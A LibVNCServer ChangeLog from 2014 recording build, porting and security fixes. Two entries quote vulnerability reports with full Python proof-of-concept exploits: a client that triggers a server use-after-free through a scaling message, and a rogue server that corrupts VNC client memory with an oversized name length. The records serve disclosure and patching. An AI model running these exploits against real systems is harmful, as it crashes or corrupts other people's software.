12014-10-21  Christian Beier <dontmind@freeshell.org>
2
3	* NEWS: Update NEWS.
4
52014-10-21  Christian Beier <dontmind@freeshell.org>
6
7	* libvncserver/sockets.c: Update comments regarding
8	rfbClientConnectionGone().
9
102014-10-21  Christian Beier <dontmind@freeshell.org>
11
12	* libvncserver/scale.c: Fix Use-After-Free vulnerability in
13	LibVNCServer wrt scaling.  Reported by Ken Johnson <Ken.Johnson1@telus.com>.  The vulnerability would occur in both the rfbPalmVNCSetScaleFactor
14	and rfbSetScale cases in the rfbProcessClientNormalMessage function
15	of rfbserver.c. Sending a valid scaling factor is required
16	(non-zero)       if (msg.ssc.scale == 0) {           rfbLogPerror("rfbProcessClientNormalMessage: will not
17	          accept a scale factor of zero"); rfbCloseClient(cl);           return;       }       rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg,
18	      sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n",
19	      msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale,
20	cl->screen->height/msg.ssc.scale);       rfbSendNewScaleSize(cl); << This is the call that can trigger
21	      a free.  return; at the end, both cases there is a call the rfbSendNewScaleSize
22	function, where if the connection is subsequently disconnected after
23	sending the VNC scaling message can lead to a free occurring.      else     {         rfbResizeFrameBufferMsg        rmsg;         rmsg.type = rfbResizeFrameBuffer;         rmsg.pad1=0;         rmsg.framebufferWidth  =
24	        Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth
25	        = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response
26	        to a UltraVNC style frameuffer resize event (%dx%d)\n",
27	        cl->scaledScreen->width, cl->scaledScreen->height); if
28	            (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
29	rfbLogPerror("rfbNewClient: write");             rfbCloseClient(cl);             rfbClientConnectionGone(cl); << Call which may can lead
30	            to a free.  return FALSE;         }     }     return TRUE; Once this function returns, eventually rfbClientConnectionGone is
31	called again on the return from rfbProcessClientNormalMessage. In
32	KRFB server this leads to an attempt to access client->data.  POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB:     INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"     AUTH_NO_PASS  = "\x01"     AUTH_PASS = "\x02"     SHARE_DESKTOP = "\x01"     def AUTH_PROCESS(self,data,flag):         if flag == 0:             # Get security types             secTypeCount = data[0]             secType = {}             for i in range(int(len(secTypeCount))):                 secType[i] = data[1]             return secType         elif flag == 1:             # Get auth result             # 0 means auth success             # 1 means failure             return data[3]     def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):         try:             from Crypto.Cipher import DES         except:             print "Error importing crypto. Please fix or do not
33	            require authentication" sys.exit(1)         if len(PASSWORD) != 8:             PASSWORD = PASSWORD.ljust(8, '\0')         PASSWORD_SWAP =
34
35	[self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]PASSWORD =
36
37
38
39	(struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD)         return crypto.encrypt(data)     def reverse_bits(self,x):         a=0         for i in range(8):             a += ((x>>i)&1)<<(7-i)         return a def main(argv):     print "Proof of Concept"     print "Copyright TELUS Security Labs"     print "All Rights Reserved.\n"     try:         HOST = sys.argv[1]         PORT = int(sys.argv[2])     except:         print "Usage: python setscale_segv_poc.py <host> <port>
40	        [password]" sys.exit(1)     try:         PASSWORD = sys.argv[3]     except:         print "No password supplied"         PASSWORD = ""     vnc = RFB()     remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     remote.connect((HOST,PORT))     # Get server version     data = remote.recv(1024)     # Send 3.8 version     remote.send(vnc.INIT_3008)     # Get supported security types     data = remote.recv(1024)     # Process Security Message     secType = vnc.AUTH_PROCESS(data,0)     if secType[0] == "\x02":         # Send accept for password auth         remote.send(vnc.AUTH_PASS)         # Get challenge         data = remote.recv(1024)         # Send challenge response         remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))     elif secType[0] == "\x01":         # Send accept for None pass         remote.send(vnc.AUTH_NO_PASS)     else:         print 'The server sent us something weird during auth.'         sys.exit(1)     # Get result     data = remote.recv(1024)     # Process result     result = vnc.AUTH_PROCESS(data,1)     if result == "\x01":         # Authentication failure.          data = remote.recv(1024)         print 'Authentication failure. Server Reason: ' + str(data)         sys.exit(1)     elif result == "\x00":         print "Authentication success."     else:         print 'Some other authentication issue occured.'         sys.exit(1)     # Send ClientInit     remote.send(vnc.SHARE_DESKTOP)     # Send malicious message     print "Sending malicious data..."     remote.send("\x08\x08\x00\x00")     remote.close() if __name__ == "__main__":     main(sys.argv) ---snap---
41
422014-10-14  dscho <johannes.schindelin@gmx.de>
43
44	* : Merge pull request #43 from maksqwe/fix_rfbSelectBox Fix selData.buttonWidth calculation
45
462014-10-10  Christian Beier <dontmind@freeshell.org>
47
48	* libvncclient/rfbproto.c: Fix possible libvncclient ServerInit
49	memory corruption.  This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is
50	related to the ServerInit message where the width, the height of the
51	server's framebuffer, its pixel format, and the name are sent to the
52	client. The name can be used in a malicious manner to trigger a
53	memory corruption in the client.  Field             Size --------------------------------- name-length
54	[4] name-string  [name-length] Below you will find a PoC script to show the vulnerability. This was
55	tested on Fedora 20 with the latest version of krdc.  I have noticed something, where the memory corruption causes the
56	program to hang but allows you to try to disconnect. After this it
57	hangs. Occasionally there will be segmentation fault in memcpy. This
58	can become more reliable if you connect to a different VNC server
59	first (Or the wrong port on the malicious server) then connecting to
60	the malicious port. Every time I accidentally made the wrong VNC
61	connection attempt the next time I connected it segfault'd.  Just run the script it will listen on port 5900 and connect to it
62	with krdc for example. I have observed Remmina crash more reliably.  import socket,struct,sys HOST = "" PORT =  5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
63	c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 =
64	"\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
65	conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them.  secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02"
66	conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them.  secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01"
67	conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag).  frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel =
68	0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM
69	= 0x0 blueM =  0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding =
70	"\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF +
71	"\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth,
72	frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM,
73	greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I",
74	nameLength) + nameString ) c.close()
75
762014-10-10  Christian Beier <dontmind@freeshell.org>
77
78	* libvncclient/sockets.c: Fix potential memory corruption in
79	libvncclient.  Fixes (maybe amongst others) the following oCERT report
80	([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious
81	msg.sct.length It looks like there may be a chance for potential memory corruption
82	when a LibVNCServer client attempts to process a Server Cut Text
83	message.    case rfbServerCutText:   {     char *buffer;     if (!ReadFromRFBServer(client, ((char *)&msg) + 1, 			   sz_rfbServerCutTextMsg - 1))       return FALSE;     msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); <<
84	    Retrieve malicious length     buffer = malloc(msg.sct.length+1); << Allocate buffer. Can
85	    return 0x0     if (!ReadFromRFBServer(client, buffer, msg.sct.length)) <<
86	      Attempt to write to buffer return FALSE;     buffer[msg.sct.length] = 0; << Attempt to write to buffer     if (client->GotXCutText)       client->GotXCutText(client, buffer, msg.sct.length); <<
87	      Attempt to write to buffer     free(buffer);     break;   } If a message is provided with an extremely large size it is possible
88	to cause the malloc to fail, further leading to an attempt to write
89	0x0.
90
912014-10-09  Christian Beier <dontmind@freeshell.org>
92
93	* NEWS: Update NEWS for 0.9.10.
94
952014-10-09  Christian Beier <dontmind@freeshell.org>
96
97	* AUTHORS: Update AUTHORS.
98
992014-10-07  dscho <johannes.schindelin@gmx.de>
100
101	* : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual
102	autotools setup
103
1042014-10-07  Johannes Schindelin <johannes.schindelin@gmx.de>
105
106	* autogen.sh: Add back a working autogen.sh There was no reason to get rid of the convenient script. Most
107	developers who are not in love with autoconf fail to remember that
108	autoreconf invocation, therefore it is better to have something
109	working in place.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
110
1112014-09-01  Nicolas Ruff <nruff@google.com>
112
113	* libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message
114	when processing the FileTime.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
115
1162014-10-07  dscho <johannes.schindelin@gmx.de>
117
118	* : Merge pull request #41 from newsoft/master Fixing 2 security issues
119
1202014-10-06  newsoft <newsoft@gmx.fr>
121
122	* libvncserver/scale.c: Make sure that no integer overflow could
123	occur during scaling
124
1252014-10-06  Christian Beier <dontmind@freeshell.org>
126
127	* libvncclient/Makefile.am: Add libvncclient/h264.c to dist tarball.  Otherwise the sources from a 'make dist' package wouldn't compile.
128
1292014-10-03  Christian Beier <dontmind@freeshell.org>
130
131	* m4/.gitignore: Really add empty m4 subdirectory.  This change kinda got lost with the last commit re-splitting.
132
1332014-10-02  Christian Beier <dontmind@freeshell.org>
134
135	* : Merge pull request #38 from LibVNC/autotools-fix-revisited Autotools fix revisited.
136
1372014-10-02  Christian Beier <dontmind@freeshell.org>
138
139	* webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
140	webclients/novnc/include/base.css,
141	webclients/novnc/include/base64.js,
142	webclients/novnc/include/black.css,
143	webclients/novnc/include/blue.css,
144	webclients/novnc/include/chrome-app/tcp-client.js,
145	webclients/novnc/include/des.js,
146	webclients/novnc/include/display.js,
147	webclients/novnc/include/input.js,
148	webclients/novnc/include/jsunzip.js,
149	webclients/novnc/include/keyboard.js,
150	webclients/novnc/include/keysym.js,
151	webclients/novnc/include/keysymdef.js,
152	webclients/novnc/include/playback.js,
153	webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
154	webclients/novnc/include/util.js,
155	webclients/novnc/include/web-socket-js/web_socket.js,
156	webclients/novnc/include/websock.js,
157	webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
158	webclients/novnc/vnc_auto.html: Update noVNC HTML5 client to latest
159	version from https://github.com/kanaka/noVNC.
160
1612014-09-21  Brian Bidulock <bidulock@openss7.org>
162
163	* .gitignore: add a few more ignores
164
1652014-09-21  Brian Bidulock <bidulock@openss7.org>
166
167	* autogen.sh: removed autogen.sh  - no longer applicable: use autoreconf -fiv
168
1692014-10-02  Christian Beier <dontmind@freeshell.org>
170
171	* INSTALL, acinclude.m4, ltmain.sh: Remove autotools-related files
172	that will get installed by autoreconf -i.
173
1742014-10-02  Brian Bidulock <bidulock@openss7.org>
175
176	* Makefile.am, configure.ac: Use an m4 script subdirectory, fix
177	automake init and two macro names.
178
1792014-10-02  Brian Bidulock <bidulock@openss7.org>
180
181	* client_examples/Makefile.am, examples/Makefile.am,
182	examples/android/Makefile.am, libvncclient/Makefile.am,
183	libvncserver/Makefile.am, test/Makefile.am: Rename obsolete INCLUDES
184	to AM_CPPFLAGS
185
1862014-09-30  Johannes Schindelin <johannes.schindelin@gmx.de>
187
188	* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: 
189	Close unclosed comments ;-) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
190
1912014-09-30  dscho <johannes.schindelin@gmx.de>
192
193	* : Merge pull request #36 from danielgindi/master A forgotten `#ifdef WIN32` broke UNIX build.
194
1952014-09-30  dscho <johannes.schindelin@gmx.de>
196
197	* : Merge pull request #33 from danielgindi/master More MSVC adjustments, now focuses on the libvncserver
198
1992014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
200
201	* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: 
202	These are UNIX headers, and are not available on MSVC
203
2042014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
205
206	* rfb/rfb.h: Those are generally the windows headers, not just MinGW
207
2082014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
209
210	* libvncserver/rfbserver.c: On windows, use the Win32 calls for
211	directory enumerations.  We also do not need the conversion between UNIX values to Windows
212	values in the RTF_FIND_DATA struct, as we already are on windows.
213
2142014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
215
216	* libvncserver/httpd.c, libvncserver/rfbserver.c,
217	libvncserver/sockets.c, rfb/rfbclient.h: Generally adjusting headers
218	for compiling on windows without the mixing of Winsock 1 and 2.
219
2202014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
221
222	* libvncserver/rfbserver.c: Just use a macro to bridge to the Win32
223	version of `mkdir` The additional compat_mkdir function was not necessary at all.
224
2252014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
226
227	* compat/msvc/sys/time.h: Use correct `winsock2.h` version header
228	instead of winsock.h.  `windows.h` is referring to `winsock.h` (unless the
229	`WIN32_LEAN_AND_MEAN` is defined).  The structs used in this header
230	are defined in `winsock2.h` or in `winsock.h`, but we are using
231	Winsock2 of course! So we have to include winsock2.h and refrain
232	from including windows.h here
233
2342014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
235
236	* libvncserver/httpd.c, libvncserver/rfbserver.c,
237	libvncserver/sockets.c: Fixed a violation of the C89 standard
238	("declarations must come before instructions")
239
2402014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
241
242	* libvncserver/tightvnc-filetransfer/filetransfermsg.c: A windows
243	version for directory enumerations Basically taken from https://github.com/danielgindi/FileDir with
244	some adjustments
245
2462014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
247
248	* libvncserver/tightvnc-filetransfer/filetransfermsg.c: MSVC also
249	has the __FUNCTION__ predefined
250
2512014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
252
253	* libvncserver/tightvnc-filetransfer/filetransfermsg.c,
254	libvncserver/tightvnc-filetransfer/filetransfermsg.h: 
255	`CreateDirectory` might clash with the
256	`CreateDirectoryA`/`CreateDirectoryW` macros on MSVC
257
2582014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
259
260	* libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fail when
261	NULL is passed to CreateFileListInfo() Passing NULL to sprintf() would most likely crash the program.
262
2632014-09-20  Daniel Cohen Gindi <danielgindi@gmail.com>
264
265	* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
266	libvncserver/rfbserver.c, libvncserver/sockets.c,
267	libvncserver/stats.c, libvncserver/websockets.c: `strings.h` and
268	`resolv.h` are not available on MSVC, and some POSIX functions are
269	renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a
270	macro mapping to the _underscored version of MSVC.
271
2722014-09-09  Christian Beier <dontmind@freeshell.org>
273
274	* client_examples/Makefile.am: The HAVE_X11 define is not there
275	anymore, but we don't need it either.
276
2772014-09-09  Christian Beier <dontmind@freeshell.org>
278
279	* Makefile.am, configure.ac, vncterm/ChangeLog, vncterm/LinuxVNC.c,
280	vncterm/Makefile.am, vncterm/README, vncterm/TODO,
281	vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
282	vncterm/example.c, vncterm/vga.h: Move vncterm to
283	https://github.com/LibVNC/vncterm.
284
2852014-09-09  Christian Beier <dontmind@freeshell.org>
286
287	* VisualNaCro/.gitignore, VisualNaCro/AUTHORS,
288	VisualNaCro/ChangeLog, VisualNaCro/Makefile.am, VisualNaCro/NEWS,
289	VisualNaCro/README, VisualNaCro/autogen.sh,
290	VisualNaCro/configure.ac, VisualNaCro/default8x16.h,
291	VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 
292	Move VisualNaCro to https://github.com/LibVNC/VisualNaCro.
293
2942014-09-09  Christian Beier <dontmind@freeshell.org>
295
296	* prepare_x11vnc_dist.sh: Move prepare_x11vnc_dist.sh over to x11vnc
297	repo.
298
2992014-09-03  Christian Beier <dontmind@freeshell.org>
300
301	* Makefile.am, configure.ac: Remove x11vnc from autotools build
302	system.
303
3042014-09-03  Christian Beier <dontmind@freeshell.org>
305
306	* tightvnc-1.3dev5-vncviewer-alpha-cursor.patch: Remove
307	tightvnc-1.3dev5-vncviewer-alpha-cursor.patch.
308
3092014-09-03  Christian Beier <dontmind@freeshell.org>
310
311	* x11vnc/.cvsignore, x11vnc/8to24.c, x11vnc/8to24.h,
312	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
313	x11vnc/RELEASE-NOTES, x11vnc/allowed_input_t.h, x11vnc/appshare.c,
314	x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h,
315	x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c,
316	x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h,
317	x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h,
318	x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h,
319	x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c,
320	x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h,
321	x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c,
322	x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
323	x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h,
324	x11vnc/misc/.cvsignore, x11vnc/misc/LICENSE,
325	x11vnc/misc/Makefile.am, x11vnc/misc/README, x11vnc/misc/Xdummy,
326	x11vnc/misc/blockdpy.c, x11vnc/misc/connect_switch,
327	x11vnc/misc/desktop.cgi, x11vnc/misc/dtVncPopup,
328	x11vnc/misc/enhanced_tightvnc_viewer/COPYING,
329	x11vnc/misc/enhanced_tightvnc_viewer/README,
330	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
331	x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat,
332	x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat,
333	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
334	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl
335	oad.url,
336	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down
337	load.url,
338	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca
339	tion.url,
340	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo
341	ad.url,
342	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc
343	e.url,
344	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down
345	load.url,
346	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca
347	tion.url,
348	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do
349	wnload.url,
350	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo
351	cation.url,
352	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co
353	nf,
354	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co
355	nf,
356	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url,
357	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp
358	over,
359	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
360	viewer.sh,
361	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover,
362	x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc,
363	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
364	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
365	x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc,
366	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
367	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
368	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf,
369	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
370	x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt,
371	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
372	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
373	x11vnc/misc/enhanced_tightvnc_viewer/src/README,
374	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README,
375	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
376	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
377	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied,
378	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
379	tch,
380	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
381	ll.patch,
382	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
383	llscreen.patch,
384	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne
385	wfbsize.patch,
386	x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README,
387	x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop,
388	x11vnc/misc/inet6to4, x11vnc/misc/panner.pl,
389	x11vnc/misc/qt_tslib_inject.pl, x11vnc/misc/ranfb.pl,
390	x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear,
391	x11vnc/misc/slide.pl, x11vnc/misc/turbovnc/Makefile.am,
392	x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
393	x11vnc/misc/turbovnc/convert,
394	x11vnc/misc/turbovnc/convert_rfbserver,
395	x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h,
396	x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/misc/uinput.pl,
397	x11vnc/misc/ultravnc_repeater.pl, x11vnc/misc/vcinject.pl,
398	x11vnc/misc/x11vnc_loop, x11vnc/misc/x11vnc_pw, x11vnc/nox11.h,
399	x11vnc/nox11_funcs.h, x11vnc/options.c, x11vnc/options.h,
400	x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c,
401	x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c,
402	x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
403	x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c,
404	x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h,
405	x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c,
406	x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc,
407	x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h,
408	x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h,
409	x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c,
410	x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c,
411	x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1,
412	x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h,
413	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
414	x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
415	x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
416	x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
417	x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Remove
418	x11vnc subdir.  The new x11vnc repo is at https://github.com/LibVNC/x11vnc.
419
4202014-09-02  Johannes Schindelin <johannes.schindelin@gmx.de>
421
422	* libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
423
4242014-08-29  Daniel Cohen Gindi <danielgindi@gmail.com>
425
426	* libvncclient/tls_openssl.c: Use Windows' critical sections to
427	emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an
428	emulation library which is the reason we did not need
429	Windows-specific hacks earlier). Happily, it is very easy to provide
430	Windows-specific emulations for the pthread calls we use.  [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
431
4322014-08-29  Daniel Cohen Gindi <danielgindi@gmail.com>
433
434	* libvncclient/zrle.c: Perform pointer arithmetic on char * instead
435	of void * Microsoft Visual C++ does not allow pointer arithmetic on void
436	pointers.  [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
437
4382014-08-29  Daniel Cohen Gindi <danielgindi@gmail.com>
439
440	* libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix
441	emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
442
4432014-08-29  Daniel Cohen Gindi <danielgindi@gmail.com>
444
445	* libvncclient/listen.c, libvncclient/sockets.c,
446	libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef
447	guards To support Microsoft Visual C++, we must not guard Windows-specific
448	code in MinGW-specific #ifdef guards.  Happily, even 64-bit MSVC defines the WIN32 constant, therefore we
449	can use that instead.  [JES: fixed commit message, reordered commit, split out unrelated
450	changes] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
451
4522014-08-29  Daniel Cohen Gindi <danielgindi@gmail.com>
453
454	* compat/msvc/stdint.h, compat/msvc/sys/time.h,
455	compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from:
456	https://runexe.googlecode.com/svn-history/r9/trunk/src/runlib/msstdint.h(we can incorporate it because it is licensed under the 3-clause BSD
457	license.) [JES: fixed commit message, fixed stripped copyright header] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
458
4592014-09-01  Daniel Cohen Gindi <danielgindi@gmail.com>
460
461	* libvncclient/rfbproto.c, libvncclient/sockets.c,
462	libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually
463	called _snprintf. Let's just #define the former to call the latter.  [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
464
4652014-09-01  Daniel Cohen Gindi <danielgindi@gmail.com>
466
467	* rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header,
468	not the winsock.h header.  [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
469
4702014-08-29  Daniel Cohen Gindi <danielgindi@gmail.com>
471
472	* libvncclient/vncviewer.c: Include Winsock2 header before windows.h
473	include That's because there are duplicate #defines, and when Winsock2 is
474	defined before windows.h then windows.h detects that and prevent
475	redefinition.  See
476
477	http://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/4a90b143-1fb8-43e9-a54c-956127e0c579/windowsh-and-winsock2h?forum=windowssdk[JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
478
4792014-09-01  Daniel Cohen Gindi <danielgindi@gmail.com>
480
481	* libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was
482	detected by Microsoft's compiler.  [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
483
4842014-08-26  dscho <johannes.schindelin@gmx.de>
485
486	* : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash)
487
4882014-08-18  Nicolas Ruff <nruff@google.com>
489
490	* libvncserver/rfbserver.c: Check malloc() return value on
491	client->server ClientCutText message. Client can send up to 2**32-1
492	bytes of text, and such a large allocation is likely to fail in case
493	of high memory pressure. This would in a server crash (write at
494	address 0).
495
4962014-08-16  dscho <johannes.schindelin@gmx.de>
497
498	* : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb
499
5002014-08-16  Johannes Schindelin <johannes.schindelin@gmx.de>
501
502	* acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
503
5042014-08-10  Luca Falavigna <dktrkranz@debian.org>
505
506	* acinclude.m4: Enable support for ppc64el architecture
507
5082014-08-10  Luca Falavigna <dktrkranz@debian.org>
509
510	* libvncclient.pc.in, libvncserver.pc.in: Use Libs.private to avoid
511	unnecessary linkage
512
